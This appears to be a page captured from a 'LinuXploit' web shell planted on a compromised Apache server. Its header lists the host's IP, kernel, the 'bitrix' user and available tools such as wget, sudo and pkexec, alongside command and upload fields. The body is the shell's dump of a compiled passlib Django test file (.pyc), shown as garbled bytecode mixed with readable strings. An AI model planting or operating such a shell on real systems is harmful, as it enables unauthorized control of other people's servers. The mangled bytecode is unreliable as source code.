403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/passlib/tests/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/passlib/tests/__pycache__/test_ext_django.cpython-39.pyc
a

f�Wc���@sRdZddlmZmZmZddlZe�e�Zddl	Z	ddl
Z
ddlmZ
mZmZddlmZmZmZddlmZddlmZmZmZmZddlmZmZmZdd	lm Z dd
l!m"Z"m#Z#m$Z$ddl%m&Z&gd�Z'eekZ(e(�r0dd
l)m*Z*m+Z+e,e*e+��se-de*f��e*j.�se*�/�ddl0mZe�1ddg�edk�rFe�2de�e3�Z4dd�Z5e(�rvddl6m7Z7Gdd�de7�Z8dd�Z9dd�Z:d1dd�Z;edk�r�e;e
j<�Z=n ed k�r�e;e
j>�Z=n
e;e
j�Z=dd!l?m@Z@eAd"e@jBe=�Cd#�d$��Dd"�fd!�ZEGd%d&�d&e3�ZFGd'd(�d(e"eF�ZGd)ZHd*ZIGd+d,�d,eG�ZJGd-d.�d.eJ�ZKGd/d0�d0eG�ZLdS)2ztest passlib.ext.django�)�absolute_import�division�print_functionN)�apps�exc�registry)�django10_context�django14_context�django16_context)�CryptContext)�DJANGO_VERSION�MIN_DJANGO_VERSION�DjangoTranslator�quirks)�	iteritems�get_method_function�u)�memoized_property)�TestCase�	TEST_MODE�handler_derived_from)�get_handler_case)�DjangoBehaviorTest�ExtensionBehaviorTest�DjangoExtensionTest�_ExtensionSupport�_ExtensionTest)�settings�LazySettingsz4expected django.conf.settings to be LazySettings: %r)rzdjango.contrib.contenttypeszdjango.contrib.auth)��z1this release hasn't been tested against Django %rcKs@t|�D]2\}}|tur.tt|�r:tt|�qtt||�qdS)z*helper to update django settings from kwdsN)r�UNSET�hasattrr�delattr�setattr)�kwds�k�v�r(�A/usr/lib/python3.9/site-packages/passlib/tests/test_ext_django.py�update_settingsNs

r*)�Userc@s<eZdZdZGdd�d�Zedd��Zdd�Zdd	d
�ZdS)�FakeUserz#mock user object for use in testingc@seZdZeZdS)z
FakeUser.MetaN)�__name__�
__module__�__qualname__Z	app_labelr(r(r(r)�Meta_sr0cCsgS�Nr(��selfr(r(r)�saved_passwordsbszFakeUser.saved_passwordsc	Cs0z|jdd�W|jdd�=S|jdd�=0dSr1)r4r2r(r(r)�pop_saved_passwordsfs
�zFakeUser.pop_saved_passwordsNcCs|j�|j�dSr1)r4�append�password)r3Z
update_fieldsr(r(r)�savelsz
FakeUser.save)N)	r-r.r/�__doc__r0rr4r5r8r(r(r(r)r,Zs
r,cs&g��fdd�}�fdd�}||_|S)Ncs��|�dSr1)r6)r7��stater(r)�setterrsz"create_mock_setter.<locals>.setterc	s*z�dd�W�dd�=S�dd�=0dSr1r(r(r:r(r)�popstatets

�z$create_mock_setter.<locals>.popstate)r=)r<r=r(r:r)�create_mock_setterps
r>c
Csp|sJ�ddlm}z|d|d�WdStyj}z,t�dt|��rTWYd}~dS�WYd}~n
d}~00dS)	z|
    check whether django hasher is available;
    or if it should be skipped because django lacks third-party library.
    r��
make_password���hasherTz3Couldn't load '.*?' algorithm .* No module named .*NF)�django.contrib.auth.hashersr@�
ValueError�re�match�str)�namer@�errr(r(r)�check_django_hasher_has_backend}srKcCsRt|d�r|��}|jdd�|dur<tr<ddlm}|j}|rN|j||d�|S)z�
    helper to build django CryptContext config matching expected setup for stock django deploy.
    :param kwds:
    :param sha_rounds:
    :return:
    �to_dict�auto)�
deprecatedNr)�PBKDF2PasswordHasher)Z"django_pbkdf2_sha1__default_rounds�$django_pbkdf2_sha256__default_rounds)r"rL�update�has_min_djangorDrOZ
iterations)r%Z
sha_roundsrOr(r(r)�_modify_django_config�s
��rS)r ��rT�
)�django_pbkdf2_sha256znot a passwordrP��roundsc@sHeZdZdZedd��Zdd�Zddd�Zgd	�Zddd�Z	d
d�Z
dS)rzx
    test support funcs for loading/unloading extension.
    this class is mixed in to various TestCase subclasses.
    ccs�ddlm}m}ddg}ddg}gd�}||f|j|f||fg}|D]l\}}t|�D]Z}	|	�d�rdqT|j�|	t�}
|
tur�|	|vr�qTt	|
�}
t
|
dd	�}|rT||	||	|vfVqTqDd	S)
z�helper to scan for monkeypatches.

        returns tuple containing:
        * object (module or class)
        * attribute of object
        * value of attribute
        * whether it should or should not be patched
        r)�models�hashers�check_password�set_passwordr@)r\r@Z
get_hasher�identify_hasherZget_hashers�_r.N)�django.contrib.authrZr[r+�dir�
startswith�__dict__�getr!r�getattr)�clsrZr[Z
user_attrsZmodel_attrsZhasher_attrsZobjs�obj�patched�attr�value�sourcer(r(r)�_iter_patch_candidates�s&�
z(_ExtensionSupport._iter_patch_candidatescCsxtj�d�}|�|o|jjd�|��D]J\}}}}|rV|�|�d�d|||f�q(|�|�d�d|||f�q(dS)z8
        test that django is in unpatched state
        �passlib.ext.django.modelszpatch should not be enabledzdjango.contrib.auth.z#obj=%r attr=%r was not reverted: %r�passlib.�/obj=%r attr=%r should not have been patched: %rN)	�sys�modulesrd�assertFalse�adapterrhrl�
assertTruerb)r3�modrgrirkrhr(r(r)�assert_unpatched�s����z"_ExtensionSupport.assert_unpatchedNcCs�tj�d�}|�|o|jjd�|��D]H\}}}}|rT|�|dkd|||f�q(|�|�d�d|||f�q(|dur�t	�
|�}|�|jj
dd	�|j
dd	��dS)
zY
        helper to ensure django HAS been patched, and is using specified config
        rmzpatch should have been enabledzpasslib.ext.django.utilsz+obj=%r attr=%r should have been patched: %rrnroNT��resolve)rprqrdrtrsrhrlrrrbr�_norm_source�assertEqual�password_contextrL)r3�contextrurgrirkrhr(r(r)�assert_patcheds&
����

�z _ExtensionSupport.assert_patched)�PASSLIB_CONFIG�PASSLIB_CONTEXT�PASSLIB_GET_CATEGORYTcKsb|��|r |�d�p|�d�}|jD]}|�|t�q&tfi|��ddl}|r^|j|d�dS)zO
        helper to load extension with specified config & patch django
        r~rrN�r|)�unload_extensionrd�_config_keys�
setdefaultr!r*�passlib.ext.django.modelsr})r3�checkr%�config�key�passlibr(r(r)�load_extension/s
z _ExtensionSupport.load_extensioncCsLtj�d�}|r"|j��tjd=tfitdd�|jD����|��dS)z?
        helper to remove patches and unload extension
        rmcss|]}|tfVqdSr1)r!)�.0r�r(r(r)�	<genexpr>G�z5_ExtensionSupport.unload_extension.<locals>.<genexpr>N)	rprqrdrsZremove_patchr*�dictr�rv)r3rur(r(r)r�=s
z"_ExtensionSupport.unload_extension)N)T)r-r.r/r9�classmethodrlrvr}r�r�r�r(r(r(r)r�s
$

rcs eZdZdZ�fdd�Z�ZS)rz�
    TestCase mixin which makes sure extension is unloaded before test;
    and make sure it's unloaded after test as well.
    csNtt|���|�d�ts(|�d��nts6|�d��|��|�|j�dS)N�defaultzDjango not installedzDjango version too old)	�superr�setUpZrequire_TEST_MODEr�skipTestrRr�Z
addCleanupr2��	__class__r(r)r�]s

z_ExtensionTest.setUp)r-r.r/r9r��
__classcell__r(r(r�r)rTsrZtoomanysecretsZletmeinc@s�eZdZdZdZdZeZedd��Z	dd�Z
edfd	d
�Zdd�Z
d
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)ra	
    tests model to verify it matches django's behavior.

    running this class verifies the tests correctly assert what Django itself does.

    running the ExtensionBehaviorTest subclass below verifies "passlib.ext.django"
    matches what the tests assert.
    zverify django behaviorFcCst�|j�S)z?
        per-test CryptContext() created from .config.
        )rryr�r2r(r(r)r|�szDjangoBehaviorTest.contextcCs4|�|j�d��|�|���|�|��g�dS)zO
        check that user object is set to 'unusable password' constant
        �!N)rtr7rbrr�has_usable_passwordrzr5)r3�userr(r(r)�assert_unusable_password�sz+DjangoBehaviorTest.assert_unusable_passwordNcCsn|tur&|�|jd�|�|jd�n|�|j|�|�|��d|jf�|�|��|durbgn|g�dS)z�
        check that user object has a usable password hash.
        :param hash: optionally check it has this exact hash
        :param saved: check that mock commit history for user.password matches this list
        r�Nzhash should be usable: %r)r!�assertNotEqualr7rzrtr�r5)r3r��hash�savedr(r(r)�assert_valid_password�s

�
�z(DjangoBehaviorTest.assert_valid_passwordcCsf|js|�d��|j}ddlm}ddlm}|�|jdd�|jdd��ddl	m}|�||�dS)z;
        test extension config is loaded correctly
        zextension not loadedr)r\)r{TrwN)
rhr�r|rDr\r�r{rzrL�django.contrib.auth.models)r3�ctxr\r{Zcheck_password2r(r(r)�test_extension_config�s
z(DjangoBehaviorTest.test_extension_configcCsf|j}ddlm}t�}|�t�|�|���t|j	��|�
|�|t�}|�|���t|��dS)z1
        test django's default algorithm
        rr?N)r|rDr@r,r]�PASS1rt�handler�verifyr7r�)r3r�r@r�r�r(r(r)�test_default_algorithm�s

z)DjangoBehaviorTest.test_default_algorithmcCs�|j}ddlm}m}m}m}t�}|�d�|j}|�	|�
��d|��|�||�|�	|�d��|�||�|�	|d|��dS)zB
        test how methods handle empty string as password
        r�r\r@�is_password_usabler^rAN)
r|rDr\r@r�r^r,r]r7rtr�r�r�)r3r�r\r@r�r^r�r�r(r(r)�test_empty_password�s
	z&DjangoBehaviorTest.test_empty_passwordcCs�ddlm}m}m}m}t�}|��|�|�t�}|�d�|�|�|�	|�d��|�	|�d��|�	|�d��|�	|�t
��|�	|�t��|�|�|�|d��
d��|�	|t
d��|�	||j��|�t||j�dS)zA
        test how methods handle 'unusable flag' in hash
        rr�N�NonerAr�)rDr\r@r�r^r,Zset_unusable_passwordr�r]rrr��WRONG1rtrbr7�assertRaisesrE�r3r\r@r�r^r�r(r(r)�test_unusable_flags"



z%DjangoBehaviorTest.test_unusable_flagcCs�|j}ddlm}m}m}m}t�}d|_tj	rF|sF|�
t|jt�n|�
|�t��|�|��tj�tj	r�|s�|�
t|td�n|�
|td��|�
t|d�dS)z<
        test how methods handle None as hash value
        rr�N)rhrDr\r@r�r^r,r7rZ none_causes_check_password_errorr��	TypeErrorr�rrrzr��empty_is_usable_password)r3rhr\r@r�r^r�r(r(r)�test_none_hash_valueAs


�
z'DjangoBehaviorTest.test_none_hash_valuecCs�ddlm}m}m}m}t�}d|_|�|�t��|�	|jd�|�	|�
�g�|�	|��tj
�|�|td��|�t|d�dS)zD
        test how methods handle empty string as hash value
        rr�rAN)rDr\r@r�r^r,r7rrr�rzr5r�rr�r�rEr�r(r(r)�test_empty_hash_valuejsz(DjangoBehaviorTest.test_empty_hash_valuec	CsDdD]:}|j|d��|�|�Wd�q1s40YqdS)z>
        test how methods handle invalid hash values.
        )z$789$foo)r�N)�subTest�_do_test_invalid_hash_value)r3r�r(r(r)�test_invalid_hash_values�sz+DjangoBehaviorTest.test_invalid_hash_valuescCs�ddlm}m}m}m}t�}||_|�|�t��|�	|j|�|�	|�
�g�|�	|��tj
�|�|t|��|�t||�dS)Nrr�)rDr\r@r�r^r,r7rrr�rzr5r�rZinvalid_is_usable_passwordr�rE)r3r�r\r@r�r^r�r(r(r)r��sz.DjangoBehaviorTest._do_test_invalid_hash_valuec	CsJ|j��D]:}|j|d��|�|�Wd�q
1s:0Yq
dS)z�
        run a bunch of subtests for each hasher available in the default django setup
        (as determined by reading self.context)
        )�schemeN)r|�schemesr��_do_test_available_scheme)r3r�r(r(r)�test_available_schemes�sz)DjangoBehaviorTest.test_available_schemescCs�|��}|j}|j}t�}ddlm}m}m}m}	|�	|�}
|�
d||
�|�	|�j}|rj||��ksjJ�zt
|�}Wntjy�|�d��Yn0t|
|j	�s�J�|
jr�|�d��|s�t|
j�s�|dvs�Jd|��|�d|�|�d	��zt|\}
}Wn6t�y4|d
�j}|�\}
}|
�r�q0�qYn0d}t�}||_|�|�d��|�|�|��|�||�|�|�|
��|}|�r�|�|j|�|�|
�|j��|�|�	�� |
|j��|j||jd
�n|�||�t!dd��r�dSt"��#|�}||
|d�}|�|
� |
|��|�||
||d��|�$|�%�|�rF|
gng�|�||||d��|�$|�%�g�|�||��t"��&|	|�j'�}|�$||�dS)z�
        helper to test how specific hasher behaves.
        :param scheme: *passlib* name of hasher (e.g. "django_pbkdf2_sha256")
        rr�ztesting scheme: %r => %rzbackend not availablezskip disabled hasher)�
django_bcryptZdjango_bcrypt_sha256Z
django_argon2z+%r scheme should always have active backendz3skipping scheme %r due to missing django dependencyzskip due to missing dependencyr�ZdontletmeinN)r�r�)�maxrB)r<)(�	getLoggerr|rhr>rDr\r@r�r^r��debugrNZdefault_schemerrZMissingBackendErrorr�rZis_disabledrKZdjango_nameZwarning�
sample_hashes�KeyError�get_sample_hashr,r7rrr�rtr�Zidentifyr�rrZpasslib_to_django_namerzr=Zdjango_to_passlib_name�	algorithm)r3r��logr�rhr<r\r@r�r^r�rNZtestcaseZsecretr�r��otherr�Zneeds_updateZalgZhash2rIr(r(r)r��sn



�


	z,DjangoBehaviorTest._do_test_available_scheme)r-r.r/r9�descriptionPrefixrh�stock_configr�rr|r�r!r�r�r�r�r�r�r�r�r�r�r�r(r(r(r)rzs$
%"()%
#	rcs0eZdZdZdZeddd�Z�fdd�Z�ZS)rz`
    test that "passlib.ext.django" conforms to behavioral assertions in DjangoBehaviorTest
    zverify extension behaviorz sha256_crypt,md5_crypt,des_cryptZ	des_crypt)r�rNcs&tt|���|j|jd�d|_dS)N�r~T)r�rr�r�r�rhr2r�r(r)r�NszExtensionBehaviorTest.setUp)	r-r.r/r9r�r�r�r�r�r(r(r�r)rCs�rc@sTeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�ZdS)rz0
    test the ``passlib.ext.django`` plugin
    zpasslib.ext.django plugincCs�|jddd�|��|�d��|jddd�Wd�n1sD0Y|��|jddd�|jtd�|��|jddd�|jtd�|��dS)	z.test set_django_password_context patch/unpatch�disabledF�r~r��!PASSLIB_CONFIG=None is deprecatedN�
django-1.0r��
django-1.4)r�rv�assertWarningListr}rr�r	r2r(r(r)�test_00_patch_controlgs,z)DjangoExtensionTest.test_00_patch_controlcCs�d}|j|d�ddlmmm}ddlm}dd�}|jj}||j_|�	d��|j
��Wd�n1sv0Y||j_|j}||_|�	d	��|j
��Wd�n1s�0Y||_dS)
z(test detection of foreign monkeypatchingz[passlib]
schemes=des_crypt
r�rN)rscSsdSr1r(r(r(r(r)�dummy�sz>DjangoExtensionTest.test_01_overwrite_detection.<locals>.dummyz/another library has patched.*User\.set_passwordz2another library has patched.*models:check_password)
r�r�ZcontribZauthrZr�rsr+r]r�Z_managerZ	check_allr\)r3r�rZrsr�Zorigr(r(r)�test_01_overwrite_detection�s((z/DjangoExtensionTest.test_01_overwrite_detectioncCsddlm}t�j}tdkr,|�t|d�n|d�}|�||j�|d�}|�||j	�ddl
m}|d�}|�|j
d�|�d	�}|�|�d	|��|�|�d	|��|�|�d
|��|jd	ddd
�}|�|d�|�|�|�dtd�dtd�d��|�t|d�dS)z'test Hasher-compatible handler wrappersr)r[rUZhex_md5r���sha256_cryptr�Zpasslib_sha256_crypt�stubZxxxxZabcdabcdabcdabcdi�rXzK$5$rounds=1234$abcdabcdabcdabcd$v2RWkZQzctPdejyRqmmTDQpZN6wTh7.RUy9zF2LftT6zabcdab**********z+v2RWkZ*************************************)r�ZsaltrYr�Zdoes_not_existN)r`r[r�passlib_to_djangorr�rEZassertIsInstanceZUnsaltedMD5PasswordHasherZBCryptPasswordHasher�passlib.hashr�rzr��encodertr�rrZsafe_summaryrr�)r3r[r�rCr�Zencodedr(r(r)�test_02_handler_wrapper�s2
��	z+DjangoExtensionTest.test_02_handler_wrappercCsZ|�d��|jddd�Wd�n1s.0Y|��|jddd�|��dS)ztest PASSLIB_CONFIG='disabled'r�NFr�r�)r�r�rvr2r(r(r)�test_11_config_disabled�s
,z+DjangoExtensionTest.test_11_config_disabledcCsP|jddd�t}|�|�|jddd�|�t�|jddd�|�t�dS)ztest PASSLIB_CONFIG='<preset>'zdjango-defaultF�rr�r�r�r�N)r�r
r}rr	)r3r�r(r(r)�test_12_config_presets�s

z*DjangoExtensionTest.test_12_config_presetscCs\ddlm}t�|�}|��|�|�|jddd�|�|�|j|dd�|�|�dS)z$test PASSLIB_CONFIG default behaviorr)�PASSLIB_DEFAULTzpasslib-defaultFr�N)�passlib.ext.django.utilsr�r�from_stringr�r})r3r�r�r(r(r)�test_13_config_defaults�s


z+DjangoExtensionTest.test_13_config_defaultscCs@tdtd�|�ttd�|��tdtd�|�ttd�dS)ztest PASSLIB_CONFIG type checks�{)rr~rmzmissing-preset)r~rN)r*r!r�r��
__import__r�rEr2r(r(r)�test_14_config_invalid�s
z*DjangoExtensionTest.test_14_config_invalidcs8tdgdddd�}ddlm��fdd	�}|j|d
�|�|�d�|�|dd�d�|�|dd
�d�dd�}|j||d�|�|�d�|�|dd�d�|�|dd�d�|�|dd�d�dd�}|j||d�|�|�d�|�|dd�d�|�|ddd�d�|�|ddd�d�|jt|j|dd�dS)z#test PASSLIB_GET_CATEGORY parameterr�i�i�i�)r�Zsha256_crypt__default_roundsZ#staff__sha256_crypt__default_roundsZ'superuser__sha256_crypt__default_roundsrr�cs&tfi|��}|�d���|j�jS)z;helper to take in user opts, return rounds used in passwordr�)r,r]r�r7rY)r%r�r�r(r)�runs
z9DjangoExtensionTest.test_21_category_setting.<locals>.runr�T)�is_staff)�is_superusercSs
|jpdSr1��
first_name�r�r(r(r)�get_categoryszBDjangoExtensionTest.test_21_category_setting.<locals>.get_category)rr�r�r�ZstaffZ	superusercSsdSr1r(r�r(r(r)r�%s)r�r�)r�r��xN)r�r�r�r�rzr�r�)r3r�r�r�r(r�r)�test_21_category_settings>����z,DjangoExtensionTest.test_21_category_settingN)
r-r.r/r9r�r�r�r�r�r�r�r�r�r(r(r(r)rYs0
r)N)Mr9Z
__future__rrrZloggingr�r-r�rprFr�rZ_appsrrZpasslib.appsrr	r
Zpasslib.contextrr�rr
rrZpasslib.utils.compatrrrZpasslib.utils.decorrZpasslib.tests.utilsrrrZpasslib.tests.test_handlersr�__all__rRZdjango.confrr�
isinstance�RuntimeErrorZ
configuredZ	configureZdjango.appsZpopulate�info�objectr!r*r�r+r,r>rKrSZdjango21_contextr�Zdjango110_contextr�rWr�Zusingrdr�r�rrr�r�rrrr(r(r(r)�<module>sp

	

)


���
"L

Youez - 2016 - github.com/yon3zu
LinuXploit